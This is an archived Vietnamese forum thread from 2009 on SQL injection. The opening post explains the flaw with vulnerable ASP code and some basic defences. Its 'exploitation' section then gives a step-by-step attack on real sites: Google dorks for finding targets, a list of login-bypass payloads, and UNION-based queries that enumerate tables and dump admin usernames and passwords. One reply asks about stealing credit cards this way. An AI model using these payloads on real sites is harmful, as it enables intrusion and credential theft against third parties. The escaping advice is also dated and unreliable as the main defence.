PDA

View Full Version : SQL Injection khai thác và phòng chống



SrbIT
05-10-2009, 09:48 AM
Những gì mình viết dưới đây chủ yếu sưu tầm, bài viết này đc lấy từ các tài liệu tiếng Việt và cũng như nước Anh (file tiếng Anh đính kèm bên dưới, mình cũng lọc bớt rồi) đc mình dịch theo cách hiểu của mình. Đầy cũng chỉ là những kiến thức cơ bản nhất. Mọi thắc mắc của bạn mình sẽ giải đáp nếu mình thật sự hiểu về nó, còn không thì nhờ mấy bác Pro hơn như Victim.., localhost.
Đầu tiên để hiểu đc thì các bạn cũng tên tìm hiểu qua SQL bằng các tài liệu có trên mạng, hay….( cứ hỏi bác google ý)
Đây là một lỗi đã có từ rất lâu, nhưng nó thì chả bảo giờ lỗi thời vì thực tế đã chứng minh còn rất nhiều trang bị lỗi này nữa.

1. Vậy các bạn tự hỏi SQL injection là gi?
SQL injection là một kĩ thuật cho phép những kẻ tấn công thi hành các câu lệnh truy vấn SQL bất hợp pháp (không được người phát triển lường trước) bằng cách lợi dụng lỗ hổng trong việc kiểm tra dữ liệu nhập trong các ứng dụng web. Hậu quả của nó rất tai hại vì nó cho phép những kẻ tấn công có thể thực hiện các thao tác xóa, hiệu chỉnh, … do có toàn quyền trên cơ sở dữ liệu của ứng dụng. Lỗi này thường xảy ra trên các ứng dụng web có dữ liệu được quản lí bằng các hệ quản trị CSDL như SQL Server, Oracle, DB2, Sysbase.

Xét một ví dụ điển hình, thông thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp.
Trong trường hợp này, người ta có thể dùng 2 trang, một trang HTML để hiển thị form nhập liệu và một
trang ASP dùng để xử lí thông tin nhập từ phía người dùng. Ví dụ:
Login.htm
<form action="ExecLogin.asp" method="post">
Username: <input type="text" name="txtUsername"><br>
Password: <input type="password" name="txtPassword"><br>
<input type="submit">
</form>
ExecLogin.asp
<%
Dim p_strUsername, p_strPassword, objRS, strSQL
p_strUsername = Request.Form("txtUsername")
p_strPassword = Request.Form("txtPassword")
strSQL = "SELECT * FROM tblUsers " & _
"WHERE Username='" & p_strUsername & _
"' and Password='" & p_strPassword & "'"
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("Username")
End If
Set objRS = Nothing
%>
Thoạt nhìn, đoạn mã trong trang ExecLogin.asp dường như không chứa bất cứ một lỗ hổng về an toàn nào. Người dùng không thể đăng nhập mà không có tên đăng nhập và mật khẩu hợp lệ. Tuy nhiên, đoạn mã này thực sự không an toàn và là tiền đề cho một SQL injection attack. Đặc biệt, chỗ sơ hở nằm ở chỗ dữ liệu nhập vào từ người dùng được dùng để xây dựng trực tiếp câu lệnh truy vấn SQL. Chính điều này cho phép những kẻ tấn công có thể điều khiển câu truy vấn sẽ được thực hiện.

Ví dụ, nếu người dùng nhập chuỗi sau vào trong cả 2 ô nhập liệu username/password của trang Login.htm:
‘ or ‘’ = ‘ . Lúc này, câu truy vấn sẽ được gọi thực hiện là:
SELECT * FROM tblUsers WHERE Username='' or ''='' and Password = '' or ''=''
Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của tblUsers và đoạn mã tiếp theo xử lí người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ.
Một ví dụ khác của SQL injection attack nữa là khi các trang web sử dụng dữ liệu nhập vào theo dạng querystring (bằng cách gõ cặp tham số và giá trị trực tiếp trên thanh địa chỉ hoặc dùng form với thuộc tính ACTION là GET). Ví dụ sau minh họa một trang ASP nhận dữ liệu cho biến ID thông qua querystring và phát
sinh nội dung của trang đó dựa trên ID:
<%
Dim p_lngID, objRS, strSQL
p_lngID = Request("ID")
strSQL = "SELECT * FROM tblArticles WHERE ID=" & p_lngID
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (Not objRS.EOF) Then Response.Write objRS("ArticleContent")
Set objRS = Nothing
%>
Trong các tình huống thông thường, đoạn mã này hiển thị nội dung của article có ID trùng với ID được chuyển đến cho nó dưới dạng querystring. Ví dụ, trang này có thể được gọi như sau:

Only the registered members can see the link để hiển thị nội dung của article có ID là 1055.

Giống như ví dụ đăng nhập ở trước, đoạn mã này để lộ sơ hở cho một SQL injection attack. Kẻ tấn công có thể thay thế một ID hợp lệ bằng cách gán ID cho một giá trị khác, để thực hiện một lệnh SQL bất hợp pháp, ví dụ như: 0 or 1=1 (nghĩa là, Only the registered members can see the link or 1=1).
Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dữ liệu vì nó sẽ thực hiện câu lệnh:
SELECT * FROM tblArticles WHERE ID=0 or 1=1
Tất nhiên ví dụ này dường như không có gì nguy hiểm, nhưng hãy thử tưởng tượng kẻ tấn công có thể xóa toàn bộ CSDL bằng cách chèn vào các đoạn lệnh nguy hiểm như lệnh DELETE. Tất cả chỉ là đơn giản thay đổi chuỗi gán dữ liệu cho ID, ví dụ như:
Only the registered members can see the link DELETE FROM tblArticles.


2. Các tác hại và cách phòng tránh


Tác hại từ SQL Injection attack tùy thuộc vào môi trường và cách cấu hình hệ thống. Nếu ứng dụng sử dụng quyền dbo (quyền của người sở hữu CSDL - owner) khi thao tác dữ liệu, nó có thể xóa toàn bộ các bảng dữ liệu, tạo các bảng dữ liệu mới, … Nếu ứng dụng sử dụng quyền sa (quyền quản trị hệ thống), nó có thể điều khiển toàn bộ hệ quản trị CSDL và với quyền hạn rộng lớn như vậy nó có thể tạo ra các tài khoản người dùng bất hợp pháp để điều khiển hệ thống của bạn.

Để phòng tránh các nguy cơ có thể xảy ra, hãy bảo vệ các câu truy vấn SQL là bằng cách kiểm soát chặt chẽ tất cả các dữ liệu nhập nhận được từ đối tượng Request (Request, Request.QueryString, Request.Form, Request.Cookies, and Request.ServerVariables).
- Trong trường hợp dữ liệu nhập vào là chuỗi, như trong ví dụ 1, lỗi xuất phát từ việc có dấu nháy đơn trong dữ liệu. Để tránh điều này, thay thế các dấu nháy đơn bằng hàm Replace để thay thế bằng 2 dấu nháy đơn:

p_strUsername = Replace(Request.Form("txtUsername"), "'", "''")
p_strPassword = Replace(Request.Form("txtPassword"), "'", "''")

- Trong trường hợp dữ liệu nhập vào là số, như trong ví dụ 2, lỗi xuất phát từ việc thay thế một giá trị được tiên đoán là dữ liệu số bằng chuỗi chứa câu lệnh SQL bất hợp pháp. Để tránh điều này, đơn giản hãy kiểm tra dữ liệu có đúng kiểu hay không: p_lngID = CLng(Request("ID")) Như vậy, nếu người dùng truyền vào một chuỗi, hàm này sẽ trả về lỗi ngay lập tức. Ngoài ra để tránh các nguy cơ từ SQL Injection attack, nên chú ý loại bỏ bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi. Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống. Cuối cùng, để giới hạn mức độ của SQL Injection attack, nên kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu đến tài khoản người dùng mà ứng dụng web đang sử dụng. Các ứng dụng thông thường nên tránh dùng đến các quyền như dbo hay sa. Quyền càng bị hạn chế, thiệt hại càng ít.

Bạn sẽ cần phải tìm hiểu thêm rất nhiều vì đó chỉ là những gì cơ bản nhất thôi.

3. Khai thác
Đầu tiên bạn vào Google tìm kiếm vơi các từ khóa như
- inurl:php?id=
- inurl:php?sid=
- inurl:asp?id=
……………….
Còn rất nhiều tự khóa nữa bạn tự tìm hiểu thêm nhé

Sau khi tìm được các trang như trên bạn hãy thử đăng nhập bằng username và password sau (giống ở ví dụ 1 ý):



" or 1=1--
or 1=1--
' or a=a--

" or "a"="a

') or ('a'='a

") or ("a"="a

hi" or "a"="a

hi" or 1=1 --

hi' or 1=1 --

hi' or 'a'='a

hi') or ('a'='a

hi") or ("a"="a

'or''='

Cái nãy cũng còn nhiều lắm tự tìm thêm tiếp nữa nhá!

Nếu không đc thì chuyển qua cách khác vậy

Giả sử ta tìm đc 1 link như sau:
Only the registered members can see the link

sau đó thử thêm vào phía sau nó để đc như sau:
Only the registered members can see the link’
Only the registered members can see the link and 1=0
Only the registered members can see the link and 1=1
………………………………
Nếu thấy hiện ra các thông báo dạng như sau:
Only the registered members can see the link
Only the registered members can see the link

Thì chắc chắn là nó đã bị lỗi SQL injection rồi đó. Giờ bắt đầu khai thác thôi.

Giờ chúng ta dùng lệnh order by để xem nó có bao nhiêu columns:

Only the registered members can see the link order by 1-- (dấu -- có thể thay bằng /* )
Cứ thay số 1 bằng các số khác như 2,3,4… cho tới khi trang đó nó có lỗi thì thôi (lỗi là nó không giống trang lúc mình chưa thêm order by 1--vào đó).
Giả sử ta thay tới 7 thì nó lỗi, vậy ta kết luận là nó có 6 cột.

Tiếp theo nào:
Only the registered members can see the link union select 1,2,3,4,5,6--
hoặc:
Only the registered members can see the link and 1=0 union select 1,2,3,4,5,6—

nó sẽ hiện ra một bảng tương tự sau:

Only the registered members can see the link

Only the registered members can see the link

vậy là ta đã thấy đc các số đẹp hiện ra,

Bước tiếp theo là ta xác định phiên bản SQL bằng câu lệnh version() hoặc @@version hoặc unhex(hex(@@vesion))…
Only the registered members can see the link union select 1,2,version(),4,5,6--
(thay vào chỗ có số hiện trên khung nha)
Only the registered members can see the link



Như ở trên thì ta thấy đó là phiên bản 5.0.32
Đối với tất cả các phiên bản 5.0.0 cho đến phiên bản mới nhất hầu như là khai thác thành công. Đối với phiên bản 4 thì mình không nói ở đây, để khai thác phiên bản 4 còn phụ thuộc vào may mắn và khả năng suy đoán của mình nữa.

Giờ thì lấy table nhá.

Only the registered members can see the link union select 1,2,table_name,4,5,6 from schema_infomation.tables--

khi đó ta thấy nó sẽ hiện ra tất cả các table. Giả sử có 1 table tên là “admin” vậy kiểu gì table này chứa các thông tin quan trọng.
Giờ ta xác định column của table “admin”


Only the registered members can see the link union select 1,2,column_name,4,5,6 from schema_infomation.columns where table_name=char(97, 100, 109, 105, 110)--

(char(97, 100, 109, 105, 110) = admin  chuyển sang mã ascii dạng char)

Sau bước trên giả sử ta được các column có tên như: id, username, password, email….
Mục đích của chúng ta là lấy username và password ta làm tiếp:

Only the registered members can see the link union select 1,2,concat(username,char(47),password),4,5,6 from admin--

muốn lấy thêm cái khác thì thêm vào, char(47) là mã ascii của ký tự /

nếu có password rồi mà nó bị mã hóa thì lên goole để tìm các trang giải mã.

Có pass, u rồi thì tìm chỗ để login thôi
Link login có thể có dạng như:
Only the registered members can see the link
Only the registered members can see the link
Only the registered members can see the link

oliver_phonui
13-10-2009, 09:58 AM
đúng cái em cần rồi ! thank nhiều nha bác SrbIT.

super_star_0806
13-10-2009, 09:59 AM
bữa nay còn ai lụm cc qua lỗi SQL Injection ko nhỉ

tuansuzu
15-10-2009, 01:49 PM
không thấy ghi nguồn, bác tự viết à. Thế thì giỏi quá, hôm nào thỉnh giáo.